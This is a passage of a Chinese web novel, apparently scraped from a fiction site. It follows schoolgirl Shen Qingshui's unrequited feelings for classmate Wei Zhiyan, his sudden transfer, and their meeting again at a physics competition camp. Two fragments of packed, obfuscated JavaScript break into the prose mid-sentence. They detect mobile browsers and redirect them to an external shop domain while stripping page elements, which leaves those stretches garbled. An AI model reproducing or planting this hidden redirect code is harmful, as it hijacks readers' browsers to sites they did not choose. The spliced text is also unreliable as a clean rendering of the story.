他手里拿着本竞赛辅导书,快步走到她面前,递过来时指尖微微泛红:“上次培优班的笔记,你好像漏了几页,我补全了。” 沈青水看着那本写满清秀字迹的笔记本,愣了愣。 安茹佳在旁边扯了扯她的衣袖,她却只是摇了摇头,把杯子换到另一只手,轻声说:“不用了,我自己整理过了。” 魏之言递书的手僵在半空,眼底掠过一丝错愕,随即又恢复了平静,慢慢收回手,攥在身侧。 雪落在他的发梢,很快融成小水珠,他看着她,喉结动了动,像是想说什么,最终只化作一句:“那……路上注意安全。” 沈青水没再说话,转身踏上公交车。 车窗玻璃很快蒙上一层雾气,她抬手擦了擦,看见魏之言还站在原地,绿色的校服在雪地里格外扎眼,身旁却没了那个穿米色外套的女生。 安茹佳戳了戳她的胳膊:“你真不要啊?那笔记我看魏之言写了好久呢。” “没必要了。”沈青水望着窗外渐渐模糊的身影,轻轻说。 她不是没看见他眼底的失落,只是有些心意,一旦被寒风吹凉过,就再难焐热了。 就像那晚扔进垃圾桶的玫瑰,花瓣落进雪里,早被冻成了冰,再捡起来,也只剩一手寒凉。 安茹佳知道了那天的事情,也只是点点头,不再多说。 那天晚上回到家,沈青水把自己关在房间里,翻出了那本魏之言之前递来的错题集。 扉页上有他写的一行小字:“竞赛加油,你很聪明,别放弃。” 字迹清隽,带着少年人特有的认真。 她忽然想起培优班的课上,他故意让她赢五子棋时的笑意,想起他递草莓味硬糖时的温柔,想起他站在走廊上让她“先说”时的眼神…… 那些曾让她心动的瞬间,其实都真切存在过,只是他的温柔太宽泛,而她想要的,是独一份的坚定。 她把错题集放进书桌最底层的抽屉,和那晚没说出口的“我喜欢你”一起,锁了起来。 窗外的雪还在下,落在窗台上,积了薄薄一层。 沈青水打开窗户,冷风灌进来,却不再觉得刺骨。 她想,有些喜欢,不一定非要拥有,就像冬雪总会落尽,春天总会来,而她的路,还很长,不必只停在原地,等一个不会回头的人。 至于魏之言,或许某天在校园里遇见,她会笑着说声“好久不见”,就像对待一个普通的老同学。 毕竟,那些藏在冬雪里的心意,已经随着冰雪的融化,悄悄埋进了时光里,长成了她成长路上的一颗小石子,不疼,却也难忘,提醒着她,曾那样热烈地喜欢过一个人,也那样勇敢地,放弃过一段没有结果的期待。 晚冬的早读课总浸着薄雾,沈青水低头背英语单词,耳尖却比笔尖先捕捉到后排的窃窃私语——“上次魏之言又拿了第一?”“对啊,他本来就厉害,听说月考前还泡了半个月图书馆……”“那我估计一月的月考他又是第一。” 她握着笔的手指顿了顿,墨水在练习册上晕开个小圈,嘴上却没停,继续默念着“ambition”的拼写,仿佛只是恰巧听见无关紧要的闲谈。 安茹佳戳了戳她的胳膊,递来颗薄荷糖:“他们又在说魏之言了。” 沈青水拆开糖纸,含进嘴里,清凉漫开时才含糊应了声:“管人家呢。” 可只有她自己知道,耳朵像装了精准的过滤器,无关的喧嚣都自动屏蔽,唯独“魏之言”这三个字,哪怕裹在嘈杂的课间里,也能清晰地钻进心里。 后来的月考,年级排名贴在公告栏前,沈青水挤在人群里看,目光先扫到自己的名字,再下意识往上移——魏之言还是第一,和她之间隔着三个名次。 正准备转身,听见旁边两个女生说:“魏之言这次数学又是满分,听说他最近在帮老师整理竞赛题库呢。” 她脚步顿了顿,没回头,却把那句话记了下来。 周假回家,沈青水破天荒打开了学校官网,在竞赛专栏里翻找,真找到了魏之言整理的题库,下载打印时,指尖竟有点发烫。 安茹佳发现她桌上的题库时,挑着眉笑:“口是心非的家伙,不是说都忘了吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686442|188851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈青水把题库塞进课本里,嘴硬道:“马上期末了,刚好复习用,省得自己整理。” 可做题时,看见魏之言在题目旁标注的“易错点”“辅助线技巧”,字迹和从前递来的错题集上一模一样,她还是忍不住对着那些小字看了好久。 月的某天,沈青水在图书馆靠窗的位置写题,听见身后有人说话,是魏之言的声音,在跟同学讨论物理题。 她握着笔的手紧了紧,假装认真看题,耳朵却竖了起来,把他说的每一个解题步骤都记在心里。 讨论结束,脚步声往她这边靠近,她心跳突然快了起来,假装翻书,书页却翻反了。 直到脚步声走过她的座位,没停,径直出了图书馆,她才松了口气,抬头望向窗外——魏之言的背影消失在图书馆门口,阳光落在他走过的路上,亮得晃眼。 她低头看着那道没解出来的物理题,突然想起他刚才说的思路,笔尖一动,很快就解了出来。 嘴角不自觉弯了弯,又立马压下去,心里骂自己没出息,可那点藏不住的在意,像春天里没忍住冒头的芽,悄悄在心底疯长。 她嘴上说着“忘了”“没必要”,可那些曾热烈过的心意,哪有那么容易凉透? 不过是换了种方式藏着,像埋在土里的种子,没开花,却也没枯萎,只等一个合适的时机,或是永远安静地待在那里,成为青春里最隐秘的余温。 - 二月初,期末考试的铃声还没响,沈青水捏着准考证往三楼考场走。 方才在教务处门口瞥见考场名单,她的座位号旁,赫然印着“魏之言”三个字。 走廊里挤满了人,她低头顺着墙根走,却在考场门口撞进一道熟悉的身影里。 是魏之言,正弯腰往靠窗的第三排座位放书包,绿色校服的衣角扫过桌沿,露出半截清瘦的手腕。 听见脚步声,他抬头看过来,目光在她脸上顿了顿,又很快移开,像只是看见个寻常同学。 沈青水攥紧准考证,快步走到最后一排的座位坐下,监考老师拿着试卷走进来,教室里瞬间安静下来,只有纸张翻动的沙沙声。 两天的期末考试无风无浪,两人已经没有任何交集。 最后一场考试结束的铃声响起,同学们涌着往外走。 沈青水收拾书包时,不小心把笔掉在了地上,滚到了魏之言的脚边。 他弯腰捡起来,递给她时,两人的指尖不小心相触碰,沈青水像触电般缩了回去。 “谢谢。”她接过笔,声音很轻。 “不客气。”他的声音也很低,目光落在她脸上,带着点复杂的情绪,却没再说别的,转身就走了。 沈青水站在原地,看着他的背影消失在走廊尽头,手里握着那支还带着他体温的笔,心里像被什么东西填满了,又空落落的。 安茹佳跑过来拉她:“走啦,放假了!” 她点点头,跟着往外走,阳光透过走廊的窗户照进来,落在她身上,暖融融的。 这次她发挥的还好,应该能跟魏之言分到同个班。 7. 青青子衿 “就好像我们两个没爱过一样。” ——《像风一样》 高一下学期开学,沈青水到的特别早。 学校将实验班又划分出一个竞赛班,并对竞赛班单独管理。 普通部人声鼎沸,实验楼鸦雀无声。 沈青水进班更是,轻微的交谈声也停止了,几十道目光落在她身上,有探究,有漠然,唯独没有惊讶——没人真的相信,这位青水街女混子,是凭真本事考进这个靠分数说话的班。 沈青水没在意那些目光,她的视线越过前排的课桌,径直落在最后一排。 记忆里,魏之言总爱坐在那里,校服外套搭在椅背上,低头刷题时,阳光会在他纤长的手指上投下淡淡的阴影。 沈青水落座最后一排,这里可以避免不必要的社交,还视角开阔。 想到魏之言可能也在这个班,她不禁开始胡思乱想同他在这个教室的相处。 或许是他弯腰捡笔时,两人的目光在课桌下短暂相撞;或许是老师提问时,他们同时说出答案,而后他转头看她一眼,嘴角牵起极淡的弧度。 会不会很尴尬?算了,反正他也没太在意那次表白,两人都闭口不提以后还是能做普通朋友的。 班上的空位渐渐满了,只剩最后一排。 沈青水的视线在最后一排的空位上停了又停,从晨读的预备铃响到暮色漫进实验楼的窗棂,最后一排那几把椅子始终空着。 没人愿意跟她坐,也没人再进班。 她按捺住频频抬头的冲动,指尖在新课本的扉页划着圈。 周围同学讨论竞赛题的声音、翻动试卷的沙沙声,都成了背景里模糊的白噪音。 魏之言他没进竞赛班?他不走竞赛吗?他的数学物理明明很好啊。 沈青水有点失望,但是好在实验班跟竞赛班在同一层,以后下课还能看到。 晚自习前的课间,沈青水抱着刚发的竞赛习题册去教务处领答案,刚拐过实验楼的转角,就听见两个熟悉的声音——是之前魏之言六班的同学,正靠在栏杆上聊天。 “……魏之言真转走了?我还以为他肯定进竞赛班呢,毕竟上次物理竞赛初赛他考得很好。” “是啊,听他同桌说他是省第一年。” “那他也没跟班上人说一声?太突然了吧……” 后面的话沈青水没再听进去,手里的习题册“哗啦”一声掉在地上,几张纸散落在脚边。 她蹲下身去捡,指尖触到冰凉的纸张,才发现自己的手在微微发抖。 原来不是没进竞赛班吗,是连这座教学楼、这所学校,都没打算再待下去。 她曾偷偷规划过的“下课偶遇”,是在走廊里装作不经意的擦肩,是在楼梯间听见他跟同学讨论题目时悄悄放慢的脚步,可现在,这些设想都成空了。 那个总考年级第一、能把复杂物理题讲得条理清晰的少年,连一句告别都没有,就从她的生活里彻底抽离了。 回到竞赛班时,晚自习的铃声刚响。 沈青水坐回自己的位置,看着桌角那本没写名字的习题册,忽然觉得眼睛发涩。 但是她依旧面无表情,从书包里掏出钢笔,旋开笔帽,在空白的扉页上写下“沈青水”三个字,字迹漂亮,带着一丝不易察觉的颤抖。 窗外的路灯亮了,昏黄的光透过玻璃落在最后一排的空位上。 沈青水合上习题册,练习册底下压着一张道歉信,她将道歉信塞进抽屉深处。 就像她藏了整个冬天的心事,从此只能锁在无人知晓的角落。 她早就习惯了孤独,习惯了身边的人来了又走,可魏之言的离开,还是像一颗石子投进冰封的湖面,哪怕表面很快恢复平静,底下的裂痕,却久久都没愈合。 - 时间过去半个学期,沈青水用无数次竞赛模拟考试第一的成绩改变了同学对她的看法,将“青水街女混子”的标签彻底撕碎。 如今她走进教室,再没人窃窃私语,甚至有人会主动将最新的竞赛真题推到她桌前,轻声问一句“这道题的解题思路你能讲讲吗”。 她依旧坐在最后一排,只是桌上的习题册堆得更高,晨光漫进来时,会在那些写满公式的草稿纸上,投下她低头演算的专注影子。 以前总避开她走的同学,开始在晚自习后等着和她一起走回宿舍,听她讲那些复杂的物理模型,像听一场有趣的故事。 老师点名时,目光落在她身上会带着明显的赞许,甚至私下找她谈话,问她要不要冲击国赛集训队。 沈青水一一应下,脸上依旧没太多表情,只是在别人看不见的间隙,指尖会下意识摩挲课本扉页——那里除了“沈青水”三个字,还多了一行小小的、用铅笔写的物理公式,是魏之言以前总在黑板上推导的那一个。 她还是习惯只跟安茹佳交好,只是不再像从前那样刻意避开人群。 食堂里,她会坐在靠窗的位置,一边吃着简单的饭菜,一边翻着竞赛书,偶尔有人坐在对面,她也会抬眼应和两句,声音不高,却足够清晰。 有次物理竞赛小组讨论到深夜,组长提议一起翻墙出去校门口的小吃摊吃烤串,沈青水犹豫了一下,还是跟着去了。 漓中自从经历过尚诗情惨案后把围墙加厚加高了不少,还有一层铁网。 有人问沈青水要不要帮助,沈青水摇摇头,这点高度对她这种混子来说不算什么。 对,其实她真的是个混子。 烤串摊的烟火气裹着晚风扑过来,有人递给她一串烤面筋,她咬了一口,忽然想起去年秋天,她在操场边看到魏之言的同学问他吃不吃烤串,他站在路灯下,笑着摆手说“别加辣”——那是她见过的,最鲜活的他。 回去的路上,有人问她“沈青水,你以前是不是真的在青水街混过啊”,她脚步顿了顿,没回头,只是轻声说“以前的事,记不清了”。 晚风拂过她的发梢,将那句没说完的话吹散在夜色里。 她不是记不清,是那些带着戾气的过去,早被无数个刷题到凌晨的夜晚,和心里那个悄悄藏着的、干净的少年,慢慢磨平了棱角。 现在的她,是竞赛班的“水神”,是老师眼里的好苗子,是同学愿意靠近的伙伴。 可只有她自己知道,每次拿到模拟考试第一的奖状时,总会下意识看向实验楼的楼梯口——那里空空荡荡,再也不会有那个穿着校服、背着双肩包的少年,慢悠悠地走上来,对她点头说一句“好巧”。 魏之言,我错了,你回来好不好。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686443|188851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>魏之言你凭什么吊着我这么久,你凭什么一声不吭的消失。 那些藏在抽屉深处的心事,和那个没说出口的告别,依旧在她心里,只是不再像从前那样尖锐,而是变成了一道浅浅的疤痕,提醒她要更用力地往前走,或许有一天,能在更高的地方,再遇见那个同样优秀的他。 - 高二上学期刚开学,沈青水和安茹佳在操场上散步,突然被一声“老姐!”吸引了。 是沈青水的弟弟沈沐风——他考上了城西的白湖中学,他趴在围墙上向沈青水招手。 沈青水三步做两步地跨上去拽住沈沐风的头发:“现在是上学期间你在这儿干嘛呢?你不是说要考漓中吗?都没考上还逃学!” “姐姐姐姐姐——疼啊!疼疼疼!”沈沐风痛得嘶嘶叫,沈青水这次放过他的头发——其实很短也没几根毛。 “魏之言他怎么在白湖!”沈沐风惊呼道。 沈青水的手还停在半空中,指尖的力度瞬间卸了,像是被人抽走了所有力气。 远方传来故人的消息,魏之言,你还好吗? “……我哪知道?我跟他又不熟。”沈青水别开眼,想挽着安茹佳的手半天没摸到安茹佳,安茹佳的位置明明没变。 她慌了,心跳乱了。 可是仔细想想,沈青水在漓中论坛的名字叫“绿水长流”,魏之言知道的,但他没有联系她,说明是真的不想跟她有任何交集了。 他为什么不加她?他凭什么不解释? 这两种情绪交杂着,沈大小姐不懂人与人之间怎么友好相处,也不懂爱,现在的她也不明白魏之言没有向她解释的义务。 所以她开始恨他。 “你滚回去上课。”沈青水心情差了许多,冷冷说道。 沈沐风看了一眼手表:“确实我要走了,再不走真要被老师抓了。” 他拽了拽她的袖子,“下次我帮你打听他的课表!” 说完,一溜烟往外跑了,跑出去几步又回头喊,“姐,别装了,你的舍不得都快写脸上了。” “根本没有!你别瞎叫!”心事被戳破,沈青水泛起一阵尴尬,难得高喊了一声。 沈沐风的喊声像颗石子砸在空地上,引得白湖中学操场边几个路过的学生往这边看。 沈青水脸一热,猛地转过身,拽着安茹佳就往漓中教学楼走,脚步快得像在逃。 安茹佳被她拉着踉跄了两步,轻声问:“真生气啦?沐风就是随口说说。” “谁生气了。”沈青水声音硬邦邦的,却没再往前走,只是站在香樟树下,踢着地上的落叶。 “别踢了嘛,叶子都要被你踢秃了。”安茹佳蹲下来,捡起一片完整的樟树叶递她,“其实你要是想,下次我陪你去白湖中学门口等他?就说……想问他一道竞赛题。” 这时上课铃响了,漓中的学生们往教学楼跑,脚步声嘈杂。沈青水把树叶塞进兜里,跟安茹佳并肩往回走,声音轻得像被风吹走:“不去,我们根本不熟。” 可只有她自己知道,后来有天晚上刷题到凌晨,她鬼使神差地打开了白湖中学的官网,在竞赛队名单里找到了“魏之言”三个字,看了足足十分钟,一不小心砸到关机键,电脑屏幕暗下去,映出她眼底没藏好的落寞。 8. 青青子衿 “我爱你有种左灯右行的冲突。” ——《红色高跟鞋》 这样过了一年,高二上学期也过去了,沈青水再没见过魏之言。 只是恨他,一直恨他。 有时却又很自责,是自己的表白来得太过突然?让他宁愿放弃一中也要远离她? 不,她在他心里的分量想必也没这么重。 魏之言离开了整整一年,这一年里沈青水代替了他的位置,年级第一,全区第一。 她终于成为他,超越他,但是他看不到了。 沈青水仔细想想,她其实也不那么讨厌魏之言。 拒绝就拒绝呗,没什么大不了的,她受到的冷眼与嘲笑还少吗? 只要他回来。 但是沈青水也明白,他回不来的。 离开漓中的就没有一个人回来,无论是谁。 自从上次在操场听沈沐风提过魏之言,她就再没听过他,连沈沐风后来也没再提——大概是看出她不愿听,又或许是觉得没什么好说的。 今天的漓乡很冷,早上安茹佳问去不去陪她补物理,报酬是一杯奶茶,她同意了。 顺便补一下基础,再看看有没有什么遗漏的知识点。 天桥上的风裹着细碎的雪沫子往衣领里钻,沈青水缩了缩脖子,把围巾往上拉了拉,遮住半张脸。 雪是刚才开始下的,很小,像撒了一把白砂糖,落在头发上、肩膀上,没一会儿就化了,留下点点湿痕。 她手里攥着安茹佳塞给她的热奶茶,指尖传来温热的触感,却暖不透心里那点空落落的凉。 走到天桥中间时,她忽然瞥见前方一个熟悉的背影正准备经过她旁边。 穿黑色羽绒服,走路时微微低着头,手里还拿着一本卷边的书,侧脸的轮廓在雪雾里模糊又清晰,像极了魏之言。 魏之言! 沈青水的脚步猛地顿住,手里的奶茶差点没拿稳。 她盯着那个背影,心跳快得像要冲出胸腔——是他吗?他怎么会在这里? 她猛地停住回头,天桥上人来人往,黑色的羽绒服有好几件,却没有一个是她想找的那个。 雪下得大了些,落在她的睫毛上,凉丝丝的。 她站在原地,愣了好一会儿,才慢慢转过身。 刚才那一瞬间的悸动还没褪去,心里却像被什么东西堵着,闷得发慌。 或许是她看错了。 毕竟这一年里,她在食堂见过和他穿同款校服的人,在书店见过和他握笔姿势相似的人,甚至在听物理课时,都会觉得老师的声音像极了他——她太想他了,想到连一个模糊的背影都能认错。 沈青水吸了吸鼻子,把奶茶凑到嘴边,喝了一口。 温热的液体滑过喉咙,却没驱散心里的寒意。 她抬头看了看天,雪片越来越大,把整个城市都笼罩在一片朦胧的白里。 算了,认错了就认错了吧。 她转身继续往前走,脚步比刚才慢了些,每一步都踩在薄薄的雪上,留下浅浅的脚印。 只是走了没几步,她又忍不住回头看了一眼天桥上,那里依旧人来人往,却再也没有那个让她心跳加速的背影。 - 又过了半年,高二下学期了。 高三毕业那天的晚自习,学校破天荒开了特例,给全校师生放一个晚自习的假。 下课铃刚落,顶楼就传来哗啦啦的声响,学长学姐抱着成捆的试卷练习册,一沓沓往楼下抛。 “老子终于解放了!”“我自由了!”“再见了这个鬼地方!” 整个走廊中间纷纷扬扬,像雪花一般。 竞赛班的门却关得严实。 没人出去看热闹,后排的女生趴在习题册上哭,肩膀一抽一抽的,笔尖还在草稿纸上无意识地划着公式; 前排男生盯着物理大题,红着眼眶咬笔,指节攥得发白。 有人是被连日的高压逼到崩溃——早上五点半的闹钟,凌晨一点的错题本,咖啡灌得胃里反酸,却连趴在桌上眯十分钟都觉得是罪过。 有人是怕竞赛失利辜负期待——父母电话里那句“我们相信你”,老师拍着肩膀说“你是种子选手”,像块石头压在胸口,压得人喘不过气。 更多人是熬不住这满室的压抑,空气里飘着纸张的油墨味、旧橡皮的橡胶味,还有隐隐的、没敢说出口的死寂。 沈青水也在哭,不过她不知道自己哭的是什么。 她只知道阻止不了眼泪流下来。 可能是觉得自己马上逃离这种生活了,她要去北京了。 以后怎么办?管它怎么办,去了北京可以兼职,可以拿奖学金,可以考研考公考博,总之,离开这里。 她苦尽甘来了,却每时每刻感到空虚。 魏之言,他在哪里,他能看到吗? 她不是混混了,她是个标准的学生了,她学会控制自己的情绪了。 魏之言。 “青青,快过来。” 安茹佳带着沈青水在青水街的小跟班苏仪在后门叫她。 苏仪就是那个马尾辫女孩,她也考上了漓乡一中。 今天没有老师,没有纪律,今天普天共庆,今天有高三毕业的狂欢,和竞赛班没说出口的煎熬。 沈青水放下笔,指尖还在发颤,刚站起来,腿就软了一下,像是站久了麻了,又像是撑得太久,突然泄了气。 “怎么哭了青青?”安茹佳快步走过来,用纸巾擦她的脸,指尖碰到她滚烫的脸颊,“是不是又为了题?别想了,今天放松一下。” “青姐,你是不是累了?”苏仪也凑过来,手忙脚乱地拍她的背,力道没轻没重,却带着笨拙的关心,“要不咱们也去扔试卷?我帮你扔!把所有题都扔了!” “青姐怎么了?” 沈青水没说话,哭得更厉害了,安茹佳抱住她,苏仪不知道该怎么做,手忙脚乱地拍拍她的背。 许多人站在走廊上,跟高三一起合唱,喊出自己的理想和愿望。 安茹佳回头跑到走廊上大声喊了声:“沈青水苦尽甘来!” 苏仪反应过来,立刻跟着踮起脚喊:“青姐世界第一!”喊完还怕不够,又补了一句,“青姐以后肯定超厉害!” 周围有人笑起来,却没人觉得中二,反而有几个陌生的高三学生跟着起哄:“沈青水加油啊!” 沈青水看着她们俩的背影,红着眼眶扯了扯嘴角,露出个浅浅的笑,眼泪还挂在睫毛上。 不知是谁先朝着竞赛班的方向喊了声“竞赛班加油”,紧接着,走廊里的喊声像潮水似的涌过来——“竞赛班加油!”“祝你们都拿奖!”“高考顺利啊!” 此起彼伏的声音撞在耳边,沈青水好不容易止住的眼泪又落了下来。 竞赛班的同学也陆陆续续走出门,有人抹着眼睛,有人互相拍着肩膀。 沈青水抬头,看到了顶楼的容霁,想必是他整的。 耳边的声音渐渐模糊,眼前的纸雪也开始打转,沈青水顺着那些飘飞的试卷,往对面那栋教学楼的走廊看去—— 那里空空荡荡,却像有个人站在那里,穿着熟悉的校服,外套被风掀起衣角,伸出手接住一张飘过去的试卷,目光穿过漫天纸雪,稳稳地落在她身上。 是魏之言。 她的心跳猛地停了一拍,想睁大眼睛看清楚,可眼泪模糊了视线,再眨眨眼,那里什么都没有。 没有校服的衣角,没有捏着试卷的手,只有空荡荡的走廊,和吹过的、带着凉意的风。 她看错了,那里没有人,没有魏之言。 哪里都没有魏之言。 只有她还站在原地,被满室的习题册、满走廊的纸雪、满胸腔的痛苦和空落落的期待裹着,像个被困在题海里的囚徒,哪怕看到了自由的光,也带不走心里那道永远填不上的、关于他的缺口。 那些熬到凌晨的夜,那些算错的题,那些没说出口的话,那些以为“苦尽甘来”就能忘掉的疼,在这一刻,全都涌了上来,比任何一次刷题的痛苦都要锋利,割得她连呼吸都在发抖。 - 市集训的通知贴在公告栏第三天,沈青水才在安茹佳的催促下挪过去看。 红底黑字的名单里,她的名字排在物理组第三,前面两个是其他中学的,最后一列备注着集训地点——白湖中学,为期两周,封闭式管理。 “听说这是最后一次集训了,诶,白湖离你家不远呢。”安茹佳用指尖点着公告栏上的地址,语气里满是雀跃,“我妈说那边有家新开的奶茶店,等你周末放假,我给你送过去!” 沈青水的目光在“白湖中学”四个字上顿了顿,那是魏之言所在的学校。 安茹佳的雀跃像被按了静音键,她只听见自己的心跳声,在胸腔里咚咚地撞,撞得她耳膜发疼。 一年多了,魏之言,你还好吗? 到白湖中学报到那天,沈青 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是之前学习小组的组长骆饶,他正从后门走进来,手里拎着两个印着白湖中学校徽的帆布袋,看到沈青水,眼睛亮了亮,快步走过来在她旁边的空位坐下。 “你居然来的这么早。”他把其中一个帆布袋推到她面前,“刚在楼下小卖部买的,热牛奶和面包,早上赶车没吃吧?” 沈青水愣了愣,说了声“谢谢”。 “你怎么选了这个位置?”骆饶顺着她的目光看向窗外,“这边视野是好,但下午太阳晒,容易犯困。” 他顿了顿,像是想起了什么,又说:“对了,你知道吗,因为我们这次物理组的人少所以跟白湖合并上课,白湖好像有魏之言。” 她没抬头,只是盯着窗外香樟树的枝桠,声音轻得像被风吹走:“嗯,听说了。” 她刚好在拆面包,不知道为什么拆了两分钟才拆开。 骆饶没察觉她的异样,自顾自翻着集训手册:“我前年跟他一班的时候见过他做题,他解题思路特别野,跟你有点像——不过他更稳,最后一道大题,我们都卡在步骤三,他直接用了个冷门的推论,三分钟就出结果了。” 他侧过头,撞进沈青水放空的眼神里,愣了愣,“你怎么了?脸色不太好。” “没事,可能没睡好。”沈青水慌忙收回目光,拿起牛奶盒往嘴边送,微凉的液体滑过喉咙,却没压下心里的慌张,她连忙起身,“我去上个厕所。” 沈青水几乎是逃着跑出教室的,走廊里的风带着香樟树的味道,却吹不散她胸口的郁闷。 女厕所里没什么人,她站在洗手池前,拧开龙头,冰凉的水扑在脸上,才勉强压下了心跳。 刚要拿纸巾擦脸,就听见门外传来两个女生的说话声,声音不大,却清晰地钻进耳朵里。 “你说魏之言今天会来集训吗?我特意早来半小时,就是想跟他问那道力学题。” “肯定来啊,他可是咱们学校竞赛组的主力,这次合并上课,老师特意让他当助教呢。”另一个女生笑着说,“不过你别想了,魏之言有余晓希了。” “余晓希?就是那个每次月考文科班第一的女生?”前一个女生的声音里满是失落,“我还以为他们只是普通朋友,上次看他们一起去图书馆,我还偷偷跟了一路……” “什么普通朋友啊,上周三晚自习,我亲眼看见魏之言在实验楼楼下给余晓希送围巾,而且你没发现吗?这学期魏之言的水杯和余晓希的是情侣款,都是那个宇航员图案的,我在文具店见过,一套两个,单卖都不卖。” “啊……那他们在一起多久了?怎么一点消息都没有?” “谁知道呢,魏之言本来就低调,余晓希也不是爱张扬的性子。不过说真的,他俩真的好配啊,一个理科大神,一个文科女神,每次学校大会,他俩都坐在第一排,校长念到他俩名字的时候,底下人都在起哄。” 沈青水靠在洗手池的边缘,冰冷的瓷砖硌得她后背生疼,却远不及心里的万分之一。 原来是来白湖谈恋爱的。 沈青水用力抹了把脸,把眼泪和冷水一起擦掉。 有什么好哭的?她早就该知道的。 从他不告而别那天起,从她在天桥上认错背影那天起,从她在高三毕业夜看到幻影那天起,她就该明白,他们之间,早就没可能了。 9. 青青子衿 “隔这一场雪来相会。” ——《地久》 沈青水将纸巾攥紧,指节泛白,直到听见门外脚步声远去,才缓缓直起身。 镜子里的自己眼眶泛红,脸上还沾着水珠,狼狈得像个被戳破心事的小孩。 她深吸一口气,对着镜子扯了扯嘴角,试图挤出一个无所谓的笑,却怎么也撑不住,最后只能用冷水再泼了把脸,强迫自己冷静下来。 突然感觉自己像个笑话,拼命努力,只为一个体面的重逢,结果人家根本不在意啊,人家好好的过自己的生活,成绩爱情双丰收。 回到教室时,里面已经坐满了人,骆饶正低头翻着资料,见她回来,抬头笑了笑:“怎么去了这么久?刚老师来说等白湖的学生来就上课了。” 沈青水“嗯”了一声,刚坐下,就听见教室门口传来一阵骚动。 她下意识抬头,目光撞进一双熟悉的眼睛里——是魏之言。 他穿着白湖中学的校服,手里抱着一摞厚厚的讲义,头发比记忆中长了些,额前的碎发垂下来,遮住了一点眉眼,却依旧挡不住那双清亮的眼睛。 他跟同学站在门口,目光扫过教室,最后落在沈青水身上时,明显顿了顿,眼神里闪过一丝惊讶,随即又恢复了平静,像只是看到了一个普通的同学。 沈青水的心脏猛地一缩,她悄悄低下头,盯着桌上的集训手册。 魏之言的同学指着她这一排后面的位置说:“诶诶诶坐那。” 魏之言点点头,不紧不慢地从她身边经过,然后没有下文了。 这个重逢太普通了,普通到她有点失望。 小说里的重逢都是风、樱花、阳光,再加两人不经意的对视。 而她和他的重逢,只有拥挤教室的粉笔灰味,和他路过时衣摆扫过桌角的、转瞬即逝的风。 骆饶在旁边戳了戳她的胳膊,压低声音:“感觉他跟以前不一样了。” 她侧过头,脸上已经没了半分方才在洗手间的狼狈,连眼神都淡得像一汪深水:“嗯,以前我也跟他不熟。” 说话间,她目光掠过后排,魏之言正低头跟同学说着什么,侧脸的线条比记忆里更利落些,却再没往她这边看第二眼。 讲台上传来老师敲击黑板的声音,沈青水收回目光,翻开手册,笔尖落在第一行考点上。 - 傍晚,沈青水一个人在白湖闲逛。 白湖的走廊比漓中宽些,两侧的窗户敞开着,风卷着香樟叶的碎影落在地面,踩上去沙沙响。 她走得慢,早上在公告栏看到的魏之言的照片,还清晰地印在脑子里。 沈青水的鞋尖踢到三楼台阶边缘的磨损处时,风忽然转了向。 香樟叶的影子在走廊地砖上晃了晃,她抬眼,正撞见魏之言握着扶手往下走的动作顿住。 夕阳从走廊尽头的窗户涌进来,像一层金纱裹住两人。 他比在教室时多了件浅灰色的薄外套,袖口随意卷到小臂,手里还捏着本卷了边的练习册。 两人之间隔着三级台阶,光影在他发梢跳跃,那双曾清亮的眼睛此刻浸在暖光里,比记忆中柔和些,却也带着几分意料之外的沉静。 “好……好巧。”魏之言显然也顿住了,有些结巴。 此刻他有些冲动,直接把心里话说出来了。 沈青水没说话,不知道是不是还在生气。 “没想到会在这里碰到你。”魏之言找补着什么,声音顺着风飘过来,混着楼下隐约的蝉鸣。 他停下脚步,身体微微前倾,目光落在她攥着走廊栏杆的手指上。 沈青水指尖动了动,将散落的碎发别到耳后,夕阳恰好落在她耳尖,烫得她轻轻缩了下。 两人迎着夕阳在三楼走廊上聊天,忽而有风吹过,像是回到了初见的那年。 “我随便逛逛,白湖的走廊比漓中安静。” 她刻意避开他的眼睛,望向窗外:远处的篮球架在地面投下细长的影子,几只麻雀掠过金红色的天空。 “哈哈,”魏之言顺着她的目光看去,沉默了几秒,才轻声说:“你以前总说,漓中的走廊太吵,背书都静不下心。” 这句话像颗小石子,投进沈青水看似平静的心湖。 她转头看他,夕阳恰好落在他眼底,那里清晰地映着她的身影。 “你还记得?”她的心里有些发酸。 “怎么会忘。”魏之言笑了笑,嘴角的弧度很轻,“你当时蹲在走廊角落背单词,我不小心撞掉了你的笔记本,你抬头瞪我的样子,比现在凶多了。” 他顿了顿,目光掠过她此刻淡然的眉眼,补充道,“也生动多了。” “哪有。”沈青水嘀咕着反驳,当时只道是寻常。 沈青水的脸颊泛起热意,她别过脸,指尖无意识地摩挲着栏杆上的纹路。 “那都是以前的事了。”她听见自己说,声音很轻,“你现在……很好,成绩、朋友,都比以前更好。” 魏之言没有接话,只是静静地看着她。 走廊里很静,只有风卷着香樟叶的声音,和远处隐约的下课铃。 夕阳慢慢下沉,将两人的影子拉得很长,几乎要叠在一起。 “沈青水,”他忽然开口,声音比刚才更沉,“重逢不一定需要风或者樱花。” 他抬起手,指了指两人之间的光影,“就像现在这样,站在夕阳里,聊几句以前的事,也挺好的。” 她抬头看他,正好对上他的目光。 夕阳在他瞳孔里跳跃,像两簇小小的火焰。 那一刻,走廊里的粉笔灰味、香樟叶的气息,还有他身上淡淡的洗衣液味道,都被夕阳揉在一起,变成了比小说里更真实的画面。 风又吹过,卷起几片落叶,掠过两人的脚边。 沈青水看着他眼底的自己,忽然笑了。 